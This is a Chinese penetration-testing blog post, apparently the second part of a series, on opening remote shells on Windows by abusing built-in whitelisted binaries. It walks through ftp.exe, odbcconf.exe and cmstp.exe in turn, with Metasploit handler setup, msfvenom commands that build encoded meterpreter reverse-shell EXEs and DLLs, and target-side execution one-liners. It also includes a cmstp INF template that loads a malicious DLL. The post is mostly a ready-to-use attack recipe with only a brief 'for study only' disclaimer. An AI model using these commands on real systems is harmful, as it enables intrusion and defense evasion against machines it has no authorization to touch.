windows下基于白名单获取shell的方法整理(下)

/ 渗透测试 / 0 条评论 / 2545 浏览

本站的所有程序和文章,仅限用于学习和研究目的;不得用于商业或者非法用途,否则,一切后果请用户自负!!

前言

继上篇内容继续。

特别感谢Micropoor前辈

内容列表

ftp.exe

  • 通过msfvenom发起ftp攻击

ODBCCONF.exe

  • 通过rundll32.exe+ODBCCONF.exe+hta进行攻击

cmstp.exe

  • 通过msfvenom发起cmstp.exe攻击

Installutil.exe

  • 通过msfvenom发起Installutil.exe攻击

ftp.exe

Ftp.exe是Windows本身自带的一个程序,属于微软FTP工具,提供基本的FTP访问。

Ftp.exe所在路径已被系统添加PATH环境变量中,因此,Ftp.exe命令可识别。

Windows 2003 默认位置:

C:\Windows\System32\ftp.exe

C:\Windows\SysWOW64\ftp.exe

Windows 7 默认位置:

C:\Windows\System32\ftp.exe

C:\Windows\SysWOW64\ftp.exe

msf启用监听

use exploit/multi/handler 
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 
msf exploit(multi/handler) > set lhost 192.168.43.231
msf exploit(multi/handler) >  set AutoRunScript migrate -f
msf exploit(multi/handler) > set lport 53
msf exploit(multi/handler) > exploit

windows下基于白名单获取shell的方法整理(下)

生成payload

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse\_tcp LHOST= 192.168.43.231 LPORT=53 -e x86/shikata\_ga_nai -b '\\\x00\\\x0a\\\xff' -i 3 -f exe -o payload.exe

windows下基于白名单获取shell的方法整理(下)

靶机执行(payload传到靶机上)

echo !C:\\payload.exe > o &&echo quit >> o &Ftp ‐n ‐s:o &&del /F /Q o

windows下基于白名单获取shell的方法整理(下)

ODBCCONF.exe

ODBCCONF.exe是一个命令行工具,允许配置ODBC驱动程序和数据

说明:Odbcconf.exe所在路径已被系统添加PATH环境变量中,因此,Odbcconf命令可识

别,需注意x86,x64位的Odbcconf调用。

Windows 2003 默认位置:

C:\WINDOWS\system32\odbcconf.exe

C:\WINDOWS\SysWOW64\odbcconf.exe

Windows 7 默认位置:

C:\Windows\System32\odbcconf.exe

C:\Windows\SysWOW64\odbcconf.exe

msf启用监听

use exploit/multi/handler 
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 
msf exploit(multi/handler) > set lhost 192.168.43.231
msf exploit(multi/handler) >  set AutoRunScript migrate -f
msf exploit(multi/handler) > set lport 53
msf exploit(multi/handler) > exploit

生成dll

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST= 92.168.43.231 LPORT=53  -f dll -o payload.dll

windows下基于白名单获取shell的方法整理(下)

靶机执行以下代码(注意payload版本)

odbcconf.exe /a {regsvr C:\\payload.dll}

windows下基于白名单获取shell的方法整理(下)

cmstp.exe

Cmstp安装或删除“连接管理器”服务配置文件。如果不含可选参数的情况下使用,则

cmstp 会使用对应于操作系统和用户的权限的默认设置来安装服务配置文件。

说明:Cmstp.exe所在路径已被系统添加PATH环境变量中,因此,Cmstp命令可识别,需

注意x86,x64位的Cmstp调用。

Windows 2003 默认位置:

C:\Windows\System32\cmstp.exe

C:\Windows\SysWOW64\cmstp.exe

Windows 7 默认位置:

C:\Windows\System32\cmstp.exe

C:\Windows\SysWOW64\cmstp.exe

msf启用监听

use exploit/multi/handler 
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 
msf exploit(multi/handler) > set lhost 192.168.43.231
msf exploit(multi/handler) >  set AutoRunScript migrate -f
msf exploit(multi/handler) > set lport 53
msf exploit(multi/handler) > exploit

准备inf文件,以下是模板

[version]
 Signature=$chicago$
 AdvancedINF=2.5
[DefaultInstall_SingleUser]
 RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
 C:\payload.dll
[Strings]
 AppAct = "SOFTWARE\Microsoft\Connection Manager" 
 ServiceName="safe6" 
 ShortSvcName="safe6"

INF 文件的 RegisterOCXSection 需要包含恶意 DLL 文件的本地路径或远程执行的 WebDAV 位置

然后再靶机执行以下命令

cmstp /s safe6.inf

windows下基于白名单获取shell的方法整理(下)

Installutil.exe

Installer工具是一个命令行实用程序,允许您通过执行指定程序集中的安装程序组件来

安装和卸载服务器资源。此工具与System.Configuration.Install命名空间中的类一起使用

说明:Installutil.exe所在路径没有被系统添加PATH环境变量中,因此,Installutil命令无法

识别。

生成payload用以下工具(里面写的很清楚了)

https://github.com/khr0x40sh/WhiteListEvasion

windows下基于白名单获取shell的方法整理(下)

临时有事,不再演示这个

本文最后编辑时间为: 2020-02-21

如本文对你有帮助,点击广告支持一下吧,创造不易。

safe6